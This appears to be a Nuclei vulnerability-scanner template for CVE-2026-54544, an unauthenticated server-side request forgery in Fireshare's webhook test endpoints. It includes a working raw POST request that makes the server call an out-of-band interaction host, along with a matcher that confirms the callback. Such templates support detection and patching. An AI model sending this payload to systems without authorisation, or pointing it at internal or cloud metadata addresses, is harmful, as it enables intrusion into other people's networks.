id: CVE-2026-54544

info:
  name: "Fireshare - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Fireshare prior to 1.6.16 exposes the API endpoints POST /api/test-webhook and
    POST /api/test-discord-webhook without the login_required decorator. An unauthenticated
    attacker can submit an attacker-controlled webhook_url in the JSON body and cause the
    Fireshare server to issue an outbound HTTP request to an arbitrary URL, including internal
    network addresses and cloud metadata services.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-54544&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=fireshare&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
    cvss-score: 7.2
    cve-id: CVE-2026-54544
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2026,fireshare,ssrf
http:
  - raw:
      - |
        POST /api/test-webhook HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"webhook_url":"http://{{interactsh-url}}/","video_url":"http://{{interactsh-url}}/","payload":"{}"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"